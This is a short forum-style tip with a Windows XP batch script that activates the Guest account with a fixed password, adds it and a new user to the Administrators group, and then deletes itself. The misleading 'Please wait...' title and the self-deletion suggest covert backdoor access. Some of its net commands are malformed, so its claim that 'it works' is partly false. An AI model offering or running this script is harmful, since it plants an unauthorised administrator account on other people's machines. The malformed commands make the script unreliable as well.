Convert Guest to admin in windows

Convert Guest to admin in windows Xp

[Start copying]

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

[End copying]

Copy it in NOTEPAD and save the file as "Guest2admin.bat"

then u can double click the file to execute or run in the cmd.
it works...